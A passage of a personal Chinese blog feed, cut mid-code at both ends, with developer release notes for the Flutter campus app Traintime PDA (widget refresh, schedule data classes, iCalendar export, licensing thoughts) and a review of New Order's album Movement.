class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"bp\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Write complete!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompletion\u003c/span\u003e\u003cspan class=\"p\"\u003e(.\u003c/span\u003e\u003cspan class=\"n\"\u003esuccess\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这样,在主程序数据更新的时候,通过执行这个函数,我们可以将更新后的数据同步到代码公共区域,然后,使用\u003ca class=\"link\" href=\"https://pub.dev/packages/home_widget\" target=\"_blank\" rel=\"noopener\"\n \u003ehome_widget\u003c/a\u003e插件,来让小部件强制刷新。\u003c/p\u003e\n\u003ch3 id=\"数据处理\"\u003e数据处理\u003c/h3\u003e\n\u003cp\u003e这里处理方式双端大差不差:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e读取课程表文件,考试信息文件,物理实验文件。\u003c/li\u003e\n\u003cli\u003e从这些文件中提取出当日/明日信息,并转化为用于显示的日程类。\u003c/li\u003e\n\u003cli\u003e日程类渲染展示。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e此外,苹果部件在渲染前还包含一步,也就是创造小部件时间轴,根据时间删除过去的日程。这个功能安卓没实现,因为安卓后台刷新更加玄学。或者这么说,所有平台的后台刷新都是玄学级别,不如苹果小部件的时间轴可以控制。\u003c/p\u003e\n\u003ch3 id=\"小部件刷新\"\u003e小部件刷新\u003c/h3\u003e\n\u003cp\u003e安卓的是靠一个内置的时钟,每十八分钟更新。不过这玩意玄学能不能更新,只能看天。\u003c/p\u003e\n\u003cp\u003e苹果是按照时间轴机制刷新的,每天半夜根据文件内容,生成当天的时间轴,包括今天和明天的内容。关于时间轴请查看\u003ca class=\"link\" href=\"https://developer.apple.com/documentation/widgetkit/keeping-a-widget-up-to-date\" target=\"_blank\" rel=\"noopener\"\n \u003e苹果的官方介绍\u003c/a\u003e。我的处理方法是,先获取数据,整理后根据各个日程的下课时间来决定时间轴上面的坐标,对应坐标是当时还在进行的课程和尚未开始的课程,最后进行刷新。\u003c/p\u003e\n\u003cp\u003e在此之前,我打算使用一个后台刷新插件,名字叫 \u003ca class=\"link\" href=\"https://pub.dev/packages/background_fetch\" target=\"_blank\" rel=\"noopener\"\n \u003ebackground_fetch\u003c/a\u003e,通过这个东西打算在后台让程序运行,进而在主程序主页的日程组件更新日程的时候,顺带更新小部件的数据。但是后台刷新在任何平台都是玄学,加上开学后有个叫跑步的玩意彻底让体育小插件没有存在的意义,顺便带走了后台刷新的意义,于是就这样了()\u003c/p\u003e\n\u003ch2 id=\"程序主页日程处理\"\u003e程序主页日程处理\u003c/h2\u003e\n\u003cp\u003e把课程信息,考试信息和物理实验信息统合到一个日程表(在竞争品那边叫课表)是我最开始写 PDA 时候的愿望。在 v1.1.0 版本中,通过对其他日历程序的东西,终于实现了。\u003c/p\u003e\n\u003ch3 id=\"统一的日程格式\"\u003e统一的日程格式\u003c/h3\u003e\n\u003cp\u003e首先,我们需要做到一个统一的日程格式,通过这个来方便显示。这个类称为\u003ccode\u003eHomeArrangement\u003c/code\u003e,主要包括日程名称,老师,地点,开始时间和结束时间。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eHomeArrangement\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003estatic\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;yyyy-MM-dd HH:mm:ss\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eteacher\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eplace\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonKey\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ename:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;start_time\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003estartTimeStr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonKey\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ename:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;end_time\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eendTimeStr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003estartTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartTimeStr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003eendTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eendTimeStr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e本程序中的数据来源,都需要按照这个格式,根据天数,返回对应天数的日程。接下来,我们按照我们数据来源,来看到主页上的东西。\u003c/p\u003e\n\u003ch3 id=\"数据来源一览\"\u003e数据来源一览\u003c/h3\u003e\n\u003cp\u003e这些数据来源,为了保证编程容易和单例模式,使用了\u003ccode\u003eGetX\u003c/code\u003e里面的\u003ccode\u003eGetController\u003c/code\u003e控制器。使用\u003ccode\u003eGet.put()\u003c/code\u003e来在程序里面任意时候调用\u003cstrong\u003e关于这个数据的唯一实例\u003c/strong\u003e。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e名称\u003c/th\u003e\n\u003cth\u003e控制器名称\u003c/th\u003e\n\u003cth\u003e获取日程接口\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e课程表\u003c/td\u003e\n\u003ctd\u003eClassTableController\u003c/td\u003e\n\u003ctd\u003e\u003ccode\u003eList\u0026lt;HomeArrangement\u0026gt; getArrangementOfDay(DateTime timeToQuery)\u003c/code\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e考试信息\u003c/td\u003e\n\u003ctd\u003eExamController\u003c/td\u003e\n\u003ctd\u003e\u003ccode\u003eList\u0026lt;HomeArrangement\u0026gt; getExamOfDate(DateTime now)\u003c/code\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e物理实验信息\u003c/td\u003e\n\u003ctd\u003eExperimentController\u003c/td\u003e\n\u003ctd\u003e\u003ccode\u003eList\u0026lt;HomeArrangement\u0026gt; getExperimentOfDay(DateTime now)\u003c/code\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"桌面数据刷新进程\"\u003e桌面数据刷新进程\u003c/h3\u003e\n\u003cp\u003e这里的代码涉及“后台登陆刷新功能”,是 PR 来的功能。\u003c/p\u003e\n\u003cp\u003e在用户刷新主页信息的时候,或者从别处回到本程序主页的时候,日程数据就会刷新。这里简单涉及到了\u003ccode\u003eAppLifecycleListener\u003c/code\u003e,侦测生命周期的东西,详情可以看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/651402152\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。在本程序中,我们需要侦测\u003ccode\u003eresumed\u003c/code\u003e状态,也就是前台运行状态。我们通过重写\u003ccode\u003edidChangeAppLifecycleState\u003c/code\u003e来侦测。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003edidChangeAppLifecycleState\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eAppLifecycleState\u003c/span\u003e \u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edidChangeAppLifecycleState\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eAppLifecycleState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eresumed\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eupdateCurrentData\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"windows-和-linux-构建测试\"\u003eWindows 和 Linux 构建测试\u003c/h2\u003e\n\u003cp\u003e这个想法来自于社区,我本身是没有考虑的。这就导致很多代码可能需要小改,因为我只考虑了手机和平板。所以,目前我只是发行了测试版,希望随着时间能够有所提升。\u003c/p\u003e\n\u003cp\u003e目前遇到的问题有:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e通知桌面端做不到\u003c/li\u003e\n\u003cli\u003eLinux 转码问题(已经解决)\u003c/li\u003e\n\u003cli\u003eWindows 日历输出有问题(已经解决)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e无论如何,构建都是相对直接的:安装好环境,直接构建。构建后的文件直接打包,按照绿色软件处理。\u003c/p\u003e\n\u003ch2 id=\"一些乱七八糟的玩意\"\u003e一些乱七八糟的玩意\u003c/h2\u003e\n\u003ch3 id=\"关于开源的想法\"\u003e关于开源的想法\u003c/h3\u003e\n\u003cp\u003e我对软件,按照开源和开发者,这么看:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e个人开发的开源软件或半开源软件 \u0026gt; 集体开发的开源软件 \u0026gt; 个人开发的闭源软件 \u0026gt; 集体开发的半开源软件 \u0026gt; 集体开发的闭源软件\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e其中,半开源软件请参考 \u003ca class=\"link\" href=\"https://f-droid.org/zh_Hans/docs/Anti-Features/\" target=\"_blank\" rel=\"noopener\"\n \u003eFDroid 的负面特征定义\u003c/a\u003e。显然我的软件属于半开源软件,我这个软件实质上模拟了你在浏览器中,对学校后端的访问。\u003c/p\u003e\n\u003cp\u003e实际上软件的开源与否,并不重要,重要的是软件本身能不能很好用,而按照我的经验,软件的好用也可以这么排序,尤其是手机端应用()\u003c/p\u003e\n\u003cp\u003e所以,我虽然经常说开源很重要,但这个实际上是因为我认为个人开发者的产品更好而导致的。而开源软件放前面,是因为代码开放让人用着更舒服,可能我长期用 Linux 留下来的某种遗留症状。而且我某种意义上,真的不喜欢封闭的东西,虽然我发现大家都喜欢。\u003c/p\u003e\n\u003cp\u003e而为啥我要将这个软件按照 MPL 授权,是因为我的软件有很多可以复用的东西,比如上面我大幅度提到的课程表和那个 BothSide 。这些复用的东西我将来是打算做成程序内的 package,如果按照 GPL ,不利于传播。而我目前程序状态,如果使用 MIT 之类的,那可能会有很多的魔改版,然后闭源了。MPL 是按照文件强制开源的,就目前状态所言,假如你只是用了我的课程表代码文件,那么,你只需要开源课程表代码文件+你对这个代码的修改,就好了。\u003c/p\u003e\n\u003ch3 id=\"关于上架-ios\"\u003e关于上架 iOS\u003c/h3\u003e\n\u003cp\u003e目前我打算这个版本尝试申请 Testflight。据我所知,至少有三个组+两个人也在写这个东西,我无论如何也得打出去第一炮。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这里我无端想到了《东周列国春秋篇》电视剧里面的要离。\u003c/p\u003e\n\u003cp\u003e中学学过“专诸刺王僚,要离刺庆忌”,不知道咋回事。看了电视剧才知道,他为了出名,壮士断腕。吴王阖闾说:“你是要名,还是要家?”结果就不必说了……\u003c/p\u003e\n\u003cp\u003e我现在也有点那啥,我为了这玩意,已经砸进去很多了。我这辈子都没一次性花这么多钱,现在我不上架,真对不住那么钱了。但上架了话,真的会有那么多人用嘛?\u003c/p\u003e\n\u003cp\u003e我这玩意,真要跟电表,跟其他原生,可以说是被爆打。也许就真的只是“开源+第一个上架”?开源这年头算毛线的优势?\u003c/p\u003e\n\u003cp\u003e写这个程序有一段时间,我一直在想这件事,不过现在释然了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本来我是不想现在就上架 App Store,但是电表突然上架了。虽然目前功能少,但着实打了一惊,我也顾不上我软件的不成熟,也上架了。看来大家还是很认可我的软件,所以感觉可以。我也很感谢很多帮我的人,无论是画吉祥物的,还是帮我发传单的,给我 UI 设计提出建议的。\u003c/p\u003e\n\u003cp\u003e之前我好像说过学校“揭榜”的事情,这玩意确实有点用,就是在面试时候问项目背景的时候,至少能扯到学校:-P\u003c/p\u003e\n\u003cp\u003e但是到现在都没消息,还来个验证码,我********\u003c/p\u003e\n\u003ch3 id=\"某日本玩意相关\"\u003e某日本玩意相关\u003c/h3\u003e\n\u003cp\u003e日本人能好好说话吗,最近看真寻酱动画片。里面的台词我听着很耳熟啊,超市真就发音苏坡马特(supermarket),微笑也发音和斯迈尔里(smiley)神似,真离谱。\u003c/p\u003e\n\u003cp\u003e(此处狗头保命,顺便说明我不是男娘,为啥最近男娘这么流行)\u003c/p\u003e\n\u003ch3 id=\"移除体育打卡功能\"\u003e移除体育打卡功能\u003c/h3\u003e\n\u003cp\u003e我还是那句话,强迫人的东西,就算是好事,也是能给败坏了。但是我也不建议花钱刷,因为这种技术的玩意花钱我觉得真不合适,就跟刷机包要花钱买一样。不过我进一步想,技术开放的前提是很多人都能有能力,有时间来实践,而且至少有一点感恩心啥的。很显然不是所有人都这样,感恩心不用说,全是反例子。要不然当初为啥搞 LSPosed 那几大位心累如此呢?而前两个:有能力有时间,更重要的是有时间。就现在课程压力大+竞争压力大,我估计能有时间折腾的,不是满绩点和各种比赛都能玩的开,就是光搞兴趣爱好而把学业荒废的?\u003c/p\u003e\n\u003cp\u003e无论如何,现在这个功能被体育课程信息窗口查看。也许将来可以日程表信息可以包括这个?我暂时没想好。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/traintime-pda-v1.1.0-release-note.html"},{"title":"New Order - Movement 听后感","time":"2024-01-02T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2024/01/03/eWF2L5gNm7BR19t.jpg\" alt=\"Featured image of post New Order - Movement 听后感\" /\u003e\u003cp\u003eA defination about Movement: go forward.\u003c/p\u003e\n\u003cp\u003e首先介绍 New Order 新订单乐队,实际上就是没了 Ian Curtis 之后的 Joy Division。这张是弹贝斯的和弹吉他的献声,因为这时候还没确定主唱。录制途中拉了个女生来弹吉他弹琴,不过对专辑风格影响不大。\u003c/p\u003e\n\u003cp\u003e这张专辑给人最强大的感受就是强大的分离感,他们自从 Joy Division 就由制作人奠定的风格。要说之前两张专辑的分离感是搭配歌曲主题的虚无,这回搭配的就是真正的悲伤了,情感更加真实了。很明显能够渲染一堆小伙子没了要好朋友,心中的无助和空虚。甚至在第二部分,有两首他们都忍不下去了,直接就表露了:I.C.B 和 The Him。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eThe Him 第一乐章,渣翻\n\nSome days you waste your life away\n还记得咱们当时一起消磨时光的时候\n\n\n\nThese times I find no words to say\n现在想实在不知道该说啥\n\n\nA crime I once committed failed me\n当时我做错的事,现在后悔莫及\n\n\nToo much of heaven\u0026#39;s eyes I saw through\n我已经看到了天堂的样子\n\n\nOnly when meanings have no reason\n直到有一天,什么都没有关系了\n\n\nThey\u0026#39;re taken beyond your sense of right (And wrong)\n他们带走了你的优点(和缺点)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这种分离感是吸引我听 Joy Division 的一大原因,我到现在都想不出来他们是咋混出这种感觉的,虽然他们并不喜欢\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e自然,这张专辑的主题是分离感和对朋友故去的怀念。当然,要仅仅是怀念,这张专辑并没有那么动听。我现在不太想听 The Wall,因为虽然这张专辑讲了一个虽然能够引起大多数有悲伤童年的人们的故事,但是没有多少让人前行的力量,听完非常容易内耗。我们看看这张专辑的前行力量:电子乐。\u003c/p\u003e\n\u003cp\u003e这张专辑的电子乐用的可以说恰到好处。首先是电子鼓,很有节奏感,没有普通的鼓那么刺耳沉重,在沉重的主题上给人一种相对轻松的感觉。我对节奏最近比较在意,在这方面听的比较在意,所以觉得可以。当然,这方面最主要的还是一种实验性的东西。比如第一面的第二首 Truth ,上来就是鼓机,奠定了全曲的节奏基调。\u003c/p\u003e\n\u003cp\u003e这张专辑的贝斯调音很有跃动感,我也很喜欢。上来第一首 Dreams Never Ends 的贝斯弹奏很抓耳。顺便这个曲子是全专辑唯一一首“比较传统的”摇滚歌曲。The Chosen Times 算是贝斯和鼓声在节奏方面合作很好的体现了。\u003c/p\u003e\n\u003cp\u003e还有很多的歌曲,在末尾和中间都会有一些合成音乐的实验。这里我不举例了,各位自己听听看吧。\u003c/p\u003e\n\u003cp\u003e我们回到恰到好处的意思,他们仅仅是稍微使用合成器,给歌曲做配套。并没有让合成器成为歌曲的主导因素,这点我比较喜欢。这里可以提出这张专辑的一个反例,Doubts Even Here。全曲大段都是合成器的弦乐声,加上机械的鼓(不是鼓机),唱歌的也够有气无力的。最后还来个女的在念经,简直是糟糕催眠曲。\u003c/p\u003e\n\u003cp\u003e上面我提到了唱歌有气无力,这算是这张专辑的一大槽点了。有些时候他们不是在唱歌,而是在感情不深刻地进行诗朗诵。要是歌曲节奏感强,或者感情深刻的话,这也没啥问题,毕竟有点衬托。要是歌曲比较没力气,比如上面提到那首 Doubts Even Here ,那就让人听着很疲劳。这点实际上可以稍微理解一下,他们之前都没唱歌的经历,现在属于突然被顶上去被迫营业,都没适应过来。\u003c/p\u003e\n\u003cp\u003e最后说一点,这张专辑是他们首次使用合成器。他们发现这玩意用起来很合心意,就开始做电子舞曲了。下一张叫 Power, Corruption \u0026amp; Lies,名字高大上,歌曲也够合大众了。他们没有被以前的痛苦围住,能顺应市场,也算是励志故事了。还有那个半截拉进来的女生,实际上是鼓手的女朋友。这张专辑发布于 1981 年,他们十好几年后才结婚,这波算不算拉扯呢。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/movement-review.html"},{"title":"Traintime PDA v0.4.1 发行简记","time":"2023-11-02T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v0.4.1 发行简记\" /\u003e\u003ch1 id=\"traintime-pda-041-发行简记\"\u003eTraintime PDA 0.4.1 发行简记\u003c/h1\u003e\n\u003cp\u003e先写个输出 iCalendar 功能吧,小部件我先慢慢写\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e说是发行简记,实际上我要写很多的技术相关细节。\u003c/p\u003e\n\u003cp\u003e可以加入我程序的 \u003ca class=\"link\" href=\"https://testflight.apple.com/join/pLKe5B4q\" target=\"_blank\" rel=\"noopener\"\n \u003eTestflight\u003c/a\u003e 来尝鲜。\u003c/p\u003e\n\u003ch2 id=\"新功能和相关\"\u003e新功能和相关\u003c/h2\u003e\n\u003cp\u003e支持 iCalendar 输出课程表信息和物理实验信息,\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1yC4y1n7Q8\" target=\"_blank\" rel=\"noopener\"\n \u003e解释使用视频在此\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003eiOS 用户建议配合这个\u003ca class=\"link\" href=\"https://www.icloud.com/shortcuts/6f951baebc534991868cf63958189030\" target=\"_blank\" rel=\"noopener\"\n \u003e快捷方式\u003c/a\u003e使用。\u003c/p\u003e\n\u003cp\u003e加上了课程调整信息的处理。\u003c/p\u003e\n\u003ch2 id=\"关于技术相关\"\u003e关于技术相关\u003c/h2\u003e\n\u003ch3 id=\"围绕介绍-icalendar-的英语写作练习\"\u003e围绕介绍 iCalendar 的英语写作练习\u003c/h3\u003e\n\u003cp\u003eInitally I want to output classtable schedule to the system calendar, but it isn\u0026rsquo;t good. So far, it outputs the class schedule one by one, from the first class of the first week to the last class of the last week. I have to let users agree serveral times to import all class schedules, so ummm\u0026hellip;\u003c/p\u003e\n\u003cp\u003eSo I use iCalendar, a standard to transfer schedules. It can transfer the name of your schedule, the time range (start time and end time), and lots of additional infos, including email, alert, personnel etc.\u003c/p\u003e\n\u003cp\u003eFor the class schedules, aka classtable, we only care about the place, time, and the name. According to the \u003ca class=\"link\" href=\"https://blog.woooo.tech/posts/about_linux_desktop/\" target=\"_blank\" rel=\"noopener\"\n \u003e\u003cstrong\u003eCYPER GOD OF OUR SCHOOL\u003c/strong\u003e\u003c/a\u003e, we do not need a \u0026lsquo;iCalender parser library\u0026rsquo;, just treat it as a plain text file with mime-type \u003ccode\u003etext/calendar\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eI will introduce a very simple iCalendar file here, and that\u0026rsquo;s not all about it.\u003c/p\u003e\n\u003cp\u003eThe whole iCalendar file is covered by \u003ccode\u003eBEGIN:VCALENDAR\u003c/code\u003e and \u003ccode\u003eEND:VCALENDAR\u003c/code\u003e. While every schedule is covered by \u003ccode\u003eBEGIN:VEVENT\u003c/code\u003e and \u003ccode\u003eEND:VEVENT\u003c/code\u003e. For each schedule, we can input the following attributes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eSUMMARY\u003c/code\u003e: A quickview of the schedule. In our case, the class\u0026rsquo;s name and place.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDESCRIPTION\u003c/code\u003e: Detail description of the schedule. We can put teacher info in here.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDTSTART\u003c/code\u003e and \u003ccode\u003eDTEND\u003c/code\u003e: The start time and the end time of the schedule. Notice we need to follow the time pattern \u003ccode\u003eyyyyMMddTHHmmss\u003c/code\u003e, a description is at \u003ca class=\"link\" href=\"https://icalendar.org/iCalendar-RFC-5545/3-3-5-date-time.html\" target=\"_blank\" rel=\"noopener\"\n \u003ehere\u003c/a\u003e and \u003ca class=\"link\" href=\"https://pub.dev/documentation/intl/latest/intl/DateFormat-class.html\" target=\"_blank\" rel=\"noopener\"\n \u003ehere\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFinally, a refrence of my code about output the iCalendar string.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// lib/page/classtable/classtable_state.dart line 47-72\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Generate icalendar file string. \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003eiCalenderStr\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan 